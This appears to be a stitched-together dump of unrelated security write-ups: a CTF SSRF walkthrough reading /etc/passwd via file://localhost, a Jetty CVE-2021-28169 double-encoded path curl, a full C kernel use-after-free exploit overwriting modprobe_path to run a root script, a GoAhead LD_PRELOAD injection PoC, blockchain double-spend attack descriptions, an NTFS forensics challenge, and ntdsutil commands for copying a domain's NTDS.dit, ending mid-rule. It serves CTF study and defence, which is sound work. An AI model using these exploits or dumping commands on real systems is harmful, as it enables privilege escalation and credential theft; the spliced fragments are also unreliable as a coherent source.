Widzimy, że nasze przypuszczenia były słuszne - pod uwagę branę są 4 pierwsze litery loginu oraz pierwszy oktet adresu IP. Ale widzimy także w jaki sposób te dane są wykorzystywane - oba elementy są rzutowane do intów i dodawane a następnie wykorzystywane jako seed dla randoma.
Niestety na tym etapie skończył się nam czas. Niemniej rozwiązanie z tego miejsca jest już zupełnie oczywiste:
Znamy login ofiary a jeden oktet IP ma zaledwie 255 potencjalnych wartości. Możemy więc wygenerować wszytskie potencjalne sekretne klucze a następnie wykorzystać je w połączeniu z poznanym hasłem do brute-forcowania formularza logowania - końcu testujemy zaledwie 255 możliwości.
### ENG Version
The challenge was to find a password and a secret `TOTP` code for two factor authentication of a certain dating website. We didn't manage to get flag for this task, however only for the lack of time (we found the key vulnerability just a couple of minutes before the CTF ended). Nevertheless we could have done it with some more time, because we knew exacly how to proceed. We consider work on this task worth of a write-up.
The password could have been extracted using a dictionary brute-force approach since the website was informing us if the password for incorrect or if the user&pass where correct if the verification code was wrong. This means you could simply brute-force only password to begin with.
The real issue was to get the secret for TOTP code generation. We managed to notice that the code takes into consideration only first 4 letters of login and the IP address of the user but we didn't know how those values become the secret. We also didn't know how to get the IP address of the user (we did suspect that only a part of the IP is used and maybe this could be brute-forced as well).
We tried for a long time to find some vulnerabilities using standard approach - SQL Injection, Cookies analysis, XSS...
The key to the task was the form for editing user profile, where we could supply a link to a picture with avatar. The server after submitting a new avatar link was trying to access the file and the error handling was not done properly - user could see part of the error message.
This enables us to realise that the server is running on `python` and that avatar is opened using `urllib.urlopen()`. Supplying a path to a non-picture file was also displaying `contents of the file in the error message`.
It is worth noting that urllib.urlopen() function can be used to open both remote and `local files`.
First attempts were unsuccessful and we got an error. It seemed that server is validating if `netpath` parameter is specified to make sure that someone is not opening a local file. So we supply the `localhost` parameter and try again with:
`file://localhost/etc/passwd`

This operation was finally successful and we were sure we can read files on the server. We started off with checking what are we actually runing:
`file://localhost/proc/self/cmdline`
This leads us to realise we are running on `/usr/sbin/apache2-kstart`
So we analysed apache config files:
`file://localhost/etc/apache2/ports.conf`

`file://localhost/etc/apache2/sites-enabled/000-default.conf`

Which gave us the location for the application we are interested in. Next we dump `server.py` file which was importing `utils.py`
`file://localhost/var/www/weeb/server.py`
`file://localhost/var/www/weeb/utils.py`
And in `utils.py` we find the missing piece to our problem:
```
def generate_seed(username, ip_address):
return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0]
def get_totp_key(seed):
random.seed(seed) return pyotp.random_base32(16, random)
```
We can see that our assumptions were correct - only first 4 letters of the login are taken into consideration and first octet of IP address. We can also finally see how those data are used - casted to int, added and used as seed for random.
Unfortunately this was the moment when our time run out. Still, from this point the rest of the solution is quite clear:
We know the login and single IP octet has only 255 values. We can simply generate all potential secrets and brute-force the login using our brute-forced password.
|
sec-knowleage
|
# Writeup CONFidence CTF Finals 2017
Team: akrasuski1, msm, nazywam, rev

### Table of contents
* [Random (crypto 100)](random)
* [Starbyte (misc 200)](starbyte)
* [KeygenMe (reverse 400)](keygenme)
* [??? (crypto 300)](crypto)
|
sec-knowleage
|
# Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞(CVE-2021-28169)
Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境,而Jetty Servlets是Jetty提供给开发者的一些通用组件。
在9.4.40, 10.0.2, 11.0.2版本前,Jetty Servlets中的`ConcatServlet`、`WelcomeFilter`类存在多重解码问题,如果开发者主动使用了这两个类,攻击者可以利用其访问WEB-INF目录下的敏感文件,造成配置文件及代码泄露。
参考链接:
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
## 漏洞环境
执行如下命令启动一个Jetty 9.4.40服务器:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看到一个example页面。该页面使用到了`ConcatServlet`来优化静态文件的加载:
```
<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">
```
## 漏洞利用
正常通过`/static?/WEB-INF/web.xml`无法访问到敏感文件web.xml:

对字母`W`进行双URL编码,即可绕过限制访问web.xml:
```
curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'
```

|
sec-knowleage
|
# freelist 劫持
与用户态 glibc 中分配 fake chunk 后覆写 `__free_hook` 这样的手法类似,我们同样可以通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配,并修改内核当中一些有用的数据以完成提权(例如一些函数表等)。
## 例题:RWCTF2022高校赛 - Digging into kernel 1 & 2
> 两道题目实际上是同一道题,因为第一题由于启动脚本漏洞所以可以直接拿 flag所以第二道题其实是对第一道题目的脚本的修复
### 题目分析
首先查看启动脚本
```bash
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic
```
开启了 smep 和 smap,这里出题人将 kaslr 写成了 kalsr,不过并不影响 kaslr 的默认开启。
查看 `/sys/devices/system/cpu/vulnerabilities/*`,发现开启了 KPTI:
```shell
/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
```
题目给出了一个 `xkmod.ko` 文件,按照惯例这应当就是有漏洞的 LKM,拖入 IDA 进行分析。
在模块载入时会新建一个 kmem\_cache 叫 `"lalala"`,对应 object 大小是 192,这里我们注意到后面三个参数都是 0 ,对应的是 align(对齐)、flags(标志位)、ctor(构造函数),由于没有设置 `SLAB_ACCOUNT` 标志位故该 `kmem_cache` **会默认与 kmalloc-192 合并**。
```c
int __cdecl xkmod_init()
{
kmem_cache *v0; // rax
printk(&unk_1E4);
misc_register(&xkmod_device);
v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
buf = 0LL;
s = v0;
return 0;
}
```
定义了一个常规的菜单堆,给了分配、编辑、读取 object 的功能,这里的 buf 是一个全局指针,我们可以注意到 ioctl 中所有的操作**都没有上锁**。
```c
void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // [rsp+0h] [rbp-20h] BYREF
unsigned int v4; // [rsp+8h] [rbp-18h]
unsigned int v5; // [rsp+Ch] [rbp-14h]
unsigned __int64 v6; // [rsp+10h] [rbp-10h]
v6 = __readgsqword(0x28u);
if ( a3 )
{
copy_from_user(&v3, a3, 16LL);
if ( a2 == 107374182 )
{
if ( buf && v5 <= 0x50 && v4 <= 0x70 )
{
copy_from_user((char *)buf + (int)v4, v3, (int)v5);
return;
}
}
else
{
if ( a2 != 125269879 )
{
if ( a2 == 17895697 )
buf = (void *)kmem_cache_alloc(s, 3264LL);
return;
}
if ( buf && v5 <= 0x50 && v4 <= 0x70 )
{
copy_to_user(v3, (char *)buf + (int)v4);
return;
}
}
xkmod_ioctl_cold();
}
}
```
我们应当传入如下结构体:
```c
struct Data
{
size_t *ptr;
unsigned int offset;
unsigned int length;
}data;
```
漏洞点主要在关闭设备文件时会释放掉 buf,但是没有将 buf 指针置 NULL,**只要我们同时打开多个设备文件便能完成 UAF**。
```c
int __fastcall xkmod_release(inode *inode, file *file)
{
return kmem_cache_free(s, buf);
}
```
> 基本上等于复刻 CISCN-2017 的 babydrive...
### 漏洞利用
我们有着一个功能全面的“堆面板”,还拥有着近乎可以无限次利用的 UAF,我们已经可以在内核空间中为所欲为了(甚至不需要使用 ioctl 未上锁的漏洞),因此解法也是多种多样的。
#### Step.I - 实现内核任意地址读写
我们先看看能够利用 UAF 获取到什么信息,经笔者多次尝试可以发现当我们将 buf 释放掉之后读取其中数据时其前 8 字节都是一个**位于内核堆上的指针**,但通常有着不同的页内偏移,这说明:
- 该 kmem\_cache 的 offset 为 0
- 该 kernel 未开启 HARDENED\_FREELIST 保护
- 该 kernel 开启了 RANDOM\_FREELIST 保护
freelist 随机化保护并非是一个运行时保护,而是在为 slub 分配页面时会将页面内的 object 指针随机打乱,**但是在后面的分配释放中依然遵循着后进先出的原则**,因此我们可以先获得一个 object 的 UAF,修改其 next 为我们想要分配的地址,之后我们连续进行两次分配**便能够成功获得目标地址上的 object ,实现任意地址读写**。
但这么做有着一个小问题,当我们分配到目标地址时**目标地址前 8 字节的数据会被写入 freelist,而这通常并非一个有效的地址**,从而导致 kernel panic,因此我们应当尽量选取目标地址往前的一个有着 8 字节 0 的区域,从而使得 freelist 获得一个 NULL 指针,促使 kmem\_cache 向 buddy system 请求一个新的 slub,这样就不会发生 crash。
> 可能有细心的同学发现了:原来的 slub 上面还有一定数量的空闲 object,直接丢弃的话**会导致内存泄漏的发生**,但首先这一小部分内存的泄露并不会造成负面的影响,其次**这也不是我们作为攻击者应该关注的问题**(笑)
#### Step.II - 泄露内核基地址
接下来我们考虑如何泄露内核基址,虽然题目新建的 `kmem_cache` 会默认与 `kmalloc-192` 合并,但为了还原出题人原始意图,我们还是将其当作一个独立的 `kmem_cache` 来完成利用。
在内核“堆基址”(`page_offset_base`) + `0x9d000` 处存放着 `secondary_startup_64` 函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去猜测堆的基址,之后分配到一个 `堆基址 + 0x9d000` 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
若是没有猜中,笔者认为直接重试即可,但这里需要注意的是我们不能够直接退出,而应当保留原进程的文件描述符打开,否则会在退出进程时触发 slub 的 double free 检测,不过经笔者测验大部分情况下都能够猜中堆基址。
#### Step.III - 修改 modprobe\_path 以 root 执行程序
接下来我们考虑如何通过任意地址写完成利用,比较常规的做法是覆写内核中的一些全局的可写的函数表(例如 `n_tty_ops`)来劫持内核执行流,这里笔者选择覆写 `modprobe_path` 从而以 root 执行程序。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
```c
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module() // wrapped as request_module
call_modprobe()
```
其中 `call_modprobe()` 定义于 `kernel/kmod.c`,我们主要关注这部分代码(以下来着内核源码5.14):
```c
static int call_modprobe(char *module_name, int wait)
{
//...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
//...
```
在这里调用了函数 `call_usermodehelper_exec()` 将 `modprobe_path` 作为可执行文件路径以 root 权限将其执行,这个地址上默认存储的值为`/sbin/modprobe`。
我们不难想到的是:若是我们能够劫持 modprobe\_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,**内核将会以 root 权限执行我们的恶意脚本**。
### EXPLOIT
最后的 exp 如下:
```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#define MODPROBE_PATH 0xffffffff82444700
struct Data
{
size_t *ptr;
unsigned int offset;
unsigned int length;
};
#define ROOT_SCRIPT_PATH "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
/* bind the process to specific core */
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void allocBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x1111111, data);
}
void editBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x6666666, data);
}
void readBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char **envp)
{
int dev_fd[5], root_script_fd, flag_fd;
size_t kernel_heap_leak, kernel_text_leak;
size_t kernel_base, kernel_offset, page_offset_base;
char flag[0x100];
struct Data data;
/* fundamental works */
bindCore(0);
for (int i = 0; i < 5; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}
/* create fake modprobe_path file */
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " ROOT_SCRIPT_PATH);
/* construct UAF */
data.ptr = malloc(0x1000);
data.offset = 0;
data.length = 0x50;
memset(data.ptr, 0, 0x1000);
allocBuf(dev_fd[0], &data);
editBuf(dev_fd[0], &data);
close(dev_fd[0]);
/* leak kernel heap addr and guess the page_offset_base */
readBuf(dev_fd[1], &data);
kernel_heap_leak = data.ptr[0];
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;
printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);
/* try to alloc fake chunk at (page_offset_base + 0x9d000 - 0x10) */
puts("[*] leaking kernel base...");
data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
data.offset = 0;
data.length = 8;
editBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);
data.length = 0x40;
readBuf(dev_fd[1], &data);
if ((data.ptr[2] & 0xfff) != 0x30) {
printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
}
kernel_base = data.ptr[2] - 0x30;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);
/* hijack the modprobe_path, we'll let it requesting new slub page for it */
puts("[*] hijacking modprobe_path...");
allocBuf(dev_fd[1], &data);
close(dev_fd[1]);
data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
data.offset = 0;
data.length = 0x8;
editBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);
strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
data.length = 0x30;
editBuf(dev_fd[2], &data);
/* trigger the fake modprobe_path */
puts("[*] trigerring fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");
/* read flag */
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR);
if (flag_fd < 0) {
errExit("failed to chmod flag!");
}
read(flag_fd, flag, sizeof(flag));
printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);
return 0;
}
```
|
sec-knowleage
|
# GoAhead Server 环境变量注入(CVE-2021-42342)
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。
这个漏洞是[CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562)漏洞补丁的绕过,攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量,进而劫持`LD_PRELOAD`来执行任意代码。
参考链接:
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
## 漏洞环境
执行如下命令启动GoAhead 5.1.4:
```
docker compose up -d
```
启动完成后,访问`http://your-ip:8080/`即可看到欢迎页面。访问`http://your-ip:8080/cgi-bin/index`即可查看到Hello页面,即为CGI执行的结果。
## 漏洞复现
我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在`Linux x86_64`的机器中,所以我们直接用Linux PC编译即可。动态链接库源码:
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
```
这样,`before_main`函数将在程序执行前被调用。编译以上代码:
```
gcc -s -shared -fPIC ./payload.c -o payload.so
```
然后,我们使用[这个脚本](poc.py)来发送恶意数据包,复现漏洞:
```
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
```
可见,我们在动态链接库中编写的劫持代码已经被成功执行:

|
sec-knowleage
|
### Blockchain Weaknesses Double-spending attack
双花问题是电子现金系统中的一个潜在问题,即相同的资金同时支付给两个接收者。区块链系统通过公开账本的方式来避免双花问题,用户广播交易时不会立即将其添加到区块链中,而是等待矿工通过挖矿将其打包在区块中,接收者在确定合法的交易已经添加到区块链之后,才可以认为该交易有效。用户通过在区块链上接收付款时等待确认来保护自己免受双花欺诈,随着确认数量的增加,交易变得更加不可逆转。
但区块链系统并不能完全防止双花,攻击者仍可以通过庞大的哈希计算资源来重新完成已确认区块的工作量证明并使自己所在链成为最长链来逆转交易实现双花,以及可以针对某些未确认交易实现双花攻击。目前有一下常见的几种方式能够引发双花攻击:
### Blockchain Weaknesses 51% attack
51%攻击通是指矿工试图控制超过50%的哈希率(挖矿算力)来实现双花,在此攻击中,攻击者可以阻止新交易被确认或撤销他们控制网络时已经确认的交易。
由于比特币等Pow共识的区块链遵循最长链原则,当矿工发现全网有一条更长的链时,他就会抛弃他当前的链,把新的更长的链全部复制回来,在这条链的基础继续挖矿,而分叉出的短链则被丢弃掉。因此攻击者在与商家完成交易后从交易前分叉区块并通过掌握的足够多的算力持续挖出更长的链使发生交易所在的链丢弃来实现双花。
理论上无法通过技术来防范51%攻击,而是通过经济学原理来避免,使达到全网51%的算力成本非常高,且拥有如此强大算力的攻击者进行正常挖矿比作恶作的收益更高。但对于小规模的山寨币来说,攻击成本较低,如Ethereum Classic网络曾遭受多次51%攻击。
参阅: https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power
- 题目名称 miniblockchain
### Blockchain Weaknesses Finney attack
Finney attack(芬尼攻击)是由Hal Finney命名的,他是第一个描述扣块攻击的人。这种攻击是一种双花攻击的变化,攻击对象主要针对的是接受0确认的商家。
攻击者将一个给自己转账的交易预挖为一个区块,但不立即将其广播到网络中,相反用同一笔代币花费在接受 0 确认的商家的交易中,攻击者在获得商家的交换物后、这笔交易A真正确认前,才广播他之前所预挖的区块使转给自己的交易合法,这时比特币网络会接受该有效块并使对商家的交易无效,最终达到双花的目的。
0确认是指一笔交易被广播到全网,即将被打包进入区块前的状态。因为区块链目前的出块时间过慢,交易确认需要等待的时间较长,部分商家为了节省时间接受0确认的交易,也就是你把交易信息广播到全网就可以了,不需要等待打包入区块。
### Blockchain Weaknesses Race attack
攻击者使用相同的资金连续广播两个冲突的交易,但最终只有一个交易得到确认。该攻击主要是控制矿工费来实现双花,同样针对接收0确认的商家,最终使发给自己的交易被打包确认而使另一个支付交易无效。
与芬妮攻击 的区别是,芬妮攻击是 0确认交易 vs 冲突块,竞争攻击是0确认交易 vs 冲突交易。
### Blockchain Weaknesses Vector76 attack
也被称为一次确认攻击,是 Race attack 和 Fenny attack 的结合,使得具有一个确认的交易仍然可被撤销。
在这种攻击中,一名矿工创建了两个节点,其中一个连接到商家节点,另一个节点连接到区块链网络中连接良好的节点。然后,矿工使用相同的资金创建两笔交易创建了两项交易,一笔交易发送给商家地址,我们称为交易1;一笔交易发送给自己的钱包地址且设置较高的矿工费,我们称为交易2。
攻击者不立即广播这两笔交易而是在交易1的分支上进行挖矿,攻击者挖到区块后,向商家节点广播交易1,向另一个节点广播交易 2。交易2被认为有效后,攻击者立即把自己之前在交易1分支上挖到的区块广播给商家,这时,这个接受一次确认就支付的商家会确认交易成功。
由于交易2发送给了连接到更多节点的节点,所以矿工在这个分支上挖出了更长链的机率更大,在这种情况下交易1会被回滚,从而实现了双花。
参阅:
http://bitcointalk.org/index.php?topic=36788.msg463391#msg463391
http://www.reddit.com/r/Bitcoin/comments/2e7bfa/vector76_double_spend_attack/cjwya6x
### Blockchain Weaknesses Block withholding attack
扣块攻击最简单的形式是上述的芬妮攻击,但同样存在针对[矿池](https://academy.binance.com/zh/articles/mining-pools-explained)的扣块攻击方式。
矿池最常见的支付机制是PPS(Pay-Per-Share),该机制中矿工所贡献的每一个“share(股份)”都将收到固定的报酬,Share是用来记录矿工贡献的哈希值,这里的share并不是区块链网络中有效的哈希,而只是由矿池所设置的匹配条件。由于找到符合Pow区块链系统要求的解对于单独的矿工来说是极小概率事件,矿池为了更好衡量矿工们的工作量,会给矿工们设置一个合理的提交工作成果(Share)的门槛。
扣块攻击是指恶意矿工在找到满足矿池要求结果,但不满足比特币系统要求的结果时,正常向矿池提交工作证明;一旦得到满足比特币系统要求的结果时,也就是真的挖到区块时,则把这个结果私自扣下,不向矿池提交,矿池便因此损失了对应的奖励。扣块攻击会使矿工和矿池都受损失,矿工只是得不到矿池分摊的Share奖励,但使矿池损失了出块奖励。
### Blockchain Weaknesses Selfish-Mining attack
攻击者挖到新区块后藏起来不公布,其他诚实矿工因为不知道新区块的存在,还是继续在旧区块基础上挖矿。等到攻击者挖到第二个区块后便会同时公布手中藏着的两枚区块,这时,区块链分叉就出现了。只要攻击者比诚实矿工多挖一枚区块,攻击者所在的分叉就是最长链。因此,原本诚实矿工们所在的那条链,因为比攻击者的分叉链短便被作废了,此时攻击者因为挖到了两枚新区块而获得相应收益,而诚实矿工的奖励则被回滚。
!!! note
注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
|
sec-knowleage
|
# Home Computer
Category: Forensics
## Description
> Blunderbussing your way through the decision making process, you figure that one is as good as the other and that further research into the importance of Work Life balance is of little interest to you. You're the decider after all. You confidently use the credentials to access the "Home Computer." Something called "desktop" presents itself, displaying a fascinating round and bumpy creature (much like yourself) labeled "cauliflower 4 work - GAN post." Your 40 hearts skip a beat. It looks somewhat like your neighbors on XiXaX3. ..Ah XiXaX3... You'd spend summers there at the beach, an awkward kid from ObarPool on a family vacation, yearning, but without nerve, to talk to those cool sophisticated locals. So are these "Cauliflowers" earthlings? Not at all the unrelatable bipeds you imagined them to be. Will they be at the party? Hopefully SarahH has left some other work data on her home computer for you to learn more.
A binary file was attached.
## Solution
Let's inspect the file:
```console
root@kali:/media/sf_CTFs/google/Home_Computer# file family.ntfs
family.ntfs: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors 51199, $MFT start cluster 4, $MFTMirror start cluster 3199, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 072643f694104cb6f
```
It's an NTFS image file, we can inspect the contents with `fls`:
```console
root@kali:/media/sf_CTFs/google/Home_Computer# fls -pr family.ntfs | head -n 20
r/r 4-128-1: $AttrDef
r/r 8-128-2: $BadClus
r/r 8-128-1: $BadClus:$Bad
r/r 6-128-1: $Bitmap
r/r 7-128-1: $Boot
d/d 11-144-2: $Extend
r/r 25-144-2: $Extend/$ObjId:$O
r/r 24-144-3: $Extend/$Quota:$O
r/r 24-144-2: $Extend/$Quota:$Q
r/r 26-144-2: $Extend/$Reparse:$R
r/r 2-128-1: $LogFile
r/r 0-128-1: $MFT
r/r 1-128-1: $MFTMirr
r/r 9-128-2: $Secure:$SDS
r/r 9-144-3: $Secure:$SDH
r/r 9-144-4: $Secure:$SII
r/r 10-128-1: $UpCase
r/r 10-128-2: $UpCase:$Info
r/r 3-128-3: $Volume
r/r 118-128-2: bootmgr
```
It's usually interesting to search for text files:
```console
root@kali:/media/sf_CTFs/google/Home_Computer# fls -pr family.ntfs | grep -i txt
r/r 185-128-2: Program Files/Windows Defender/ThirdPartyNotices.txt
r/r 244-128-2: Program Files/windows nt/tabletextservice/TableTextServiceArray.txt
r/r 245-128-2: Program Files/windows nt/tabletextservice/TableTextServiceDaYi.txt
r/r 246-128-2: Program Files/windows nt/tabletextservice/TableTextServiceTigrinya.txt
r/r 247-128-2: Program Files/windows nt/tabletextservice/TableTextServiceYi.txt
r/r 522-128-2: Program Files/WindowsApps/Microsoft.MicrosoftSolitaireCollection_4.0.1301.0_x86__8wekyb3d8bbwe/ThirdPartyNotices.txt
r/r 860-128-2: Program Files/WindowsApps/Microsoft.Print3D_3.3.791.0_x64__8wekyb3d8bbwe/GCode.txt
r/r 1156-128-2: Program Files/WindowsApps/Microsoft.WebMediaExtensions_1.0.13321.0_x64__8wekyb3d8bbwe/Third Party Notices.txt
r/r 1507-128-2: Program Files/WindowsApps/Microsoft.Xbox.TCUI_1.24.10001.0_x64__8wekyb3d8bbwe/ThirdPartyNotice.txt
r/r 1760-128-2: Program Files (x86)/windows nt/tabletextservice/TableTextServiceArray.txt
r/r 1761-128-2: Program Files (x86)/windows nt/tabletextservice/TableTextServiceDaYi.txt
r/r 1762-128-2: Program Files (x86)/windows nt/tabletextservice/TableTextServiceTigrinya.txt
r/r 1763-128-2: Program Files (x86)/windows nt/tabletextservice/TableTextServiceYi.txt
r/r 13288-128-2: Users/Family/Documents/credentials.txt
r/r 13288-128-4: Users/Family/Documents/credentials.txt:FILE0
r/r 3803-128-2: Windows/Panther/Rollback/FolderMoveLog.TXT
r/r 3804-128-2: Windows/Panther/Rollback/LogRestore.TXT
r/r 4880-128-2: Windows/System32/catroot2/dberr.txt
r/r 6582-128-2: Windows/System32/MailContactsCalendarSync/LiveDomainList.txt
r/r 7804-128-2: Windows/System32/restore/MachineGuid.txt
r/r 9420-128-2: Windows/System32/WindowsCodecsRaw.txt
r/r 9675-128-2: Windows/System32/WsmTxt.xsl
r/- * 0: Windows/System32/WsmTxt.xsl
r/r 11329-128-2: Windows/SysWOW64/MailContactsCalendarSync/LiveDomainList.txt
r/r 13042-128-2: Windows/SysWOW64/WindowsCodecsRaw.txt
r/r 13219-128-2: Windows/SysWOW64/WsmTxt.xsl
```
`Users/Family/Documents/credentials.txt` seems interesting:
```console
root@kali:/media/sf_CTFs/google/Home_Computer# icat family.ntfs 13288-128-2
I keep pictures of my credentials in extended attributes.
```
Extract the extended attributes:
```console
root@kali:/media/sf_CTFs/google/Home_Computer# icat family.ntfs 13288-128-4 > out.bin
root@kali:/media/sf_CTFs/google/Home_Computer# file out.bin
out.bin: PNG image data, 1234 x 339, 8-bit/color RGB, non-interlaced
root@kali:/media/sf_CTFs/google/Home_Computer# mv out.bin out.png
```
It's a PNG file:

The flag: CTF{congratsyoufoundmycreds}
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/django:4.0.5
ports:
- "8000:8000"
depends_on:
- db
volumes:
- ./web:/usr/src
- ./docker-entrypoint.sh:/docker-entrypoint.sh
entrypoint:
- bash
- /docker-entrypoint.sh
command:
- python
- app.py
- runserver
- 0.0.0.0:8000
db:
image: postgres:13-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=CVE_2022_34265
|
sec-knowleage
|
# T1003-003-win-使用ntdsutil获得NTDS.dit文件
## 来自ATT&CK的描述
攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。
除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。
下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。
- 卷影复制
- secretsdump.py
- 使用内置的Windows工具ntdsutil.exe
- 调用卷影副本
### NTDS.dit
Ntds.dit文件是存储Active Directory数据的数据库,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希值。域控制器(DC)上的ntds.dit文件只能由可以登录到DC的用户访问。很明显,保护这个文件至关重要,因为攻击者访问这个文件会导致整个域沦陷。
**默认情况下,NTDS文件将位于域控制器的%SystemRoot%\NTDS\Ntds.dit中。**但通常存储在其他逻辑驱动器上)。AD数据库是一个Jet数据库引擎,它使用可扩展存储引擎(ESE)提供数据存储和索引服务。通过ESE级别索引,可以快速定位对象属性。
## 测试案例
在2008+域控上使用 ntdsutil snapshot mount导出ntds.dit
### 创建快照
```bash
ntdsutil snapshot "activate instance ntds" create quit quit
```
### Ntdsutil挂载域快照
```bash
ntdsutil snapshot "mount {GUID}" quit quit
```
### 复制快照
```bash
copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit #注意路径大小写问题
```
### 卸载快照
```bash
ntdsutil snapshot "unmount {GUID}" quit quit
```
### 删除快照
```bash
ntdsutil snapshot "delete {GUID}" quit quit
ntsutil.exe +PWPR(Passcape Windows Password Recovery)
```
## 检测日志
windows 安全日志
## 测试复现


## 测试留痕
windows 安全日志、4688进程创建、Ntsutil.exe进程名称。

## 检测规则/思路
```yml
title: Dumping ntds.dit remotely via DCSync
id: 51238c62-2b29-4539-ad75-e94575368a12
description: ntds.dit retrieving using synchronisation with legitimate domain controller using Directory Replication Service Remote Protocol
author: Teymur Kheirkhabarov, oscd.community
date: 2019/10/24
modified: 2019/11/13
references:
- https://twitter.com/gentilkiwi/status/1003236624925413376
- https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2
- https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
tags:
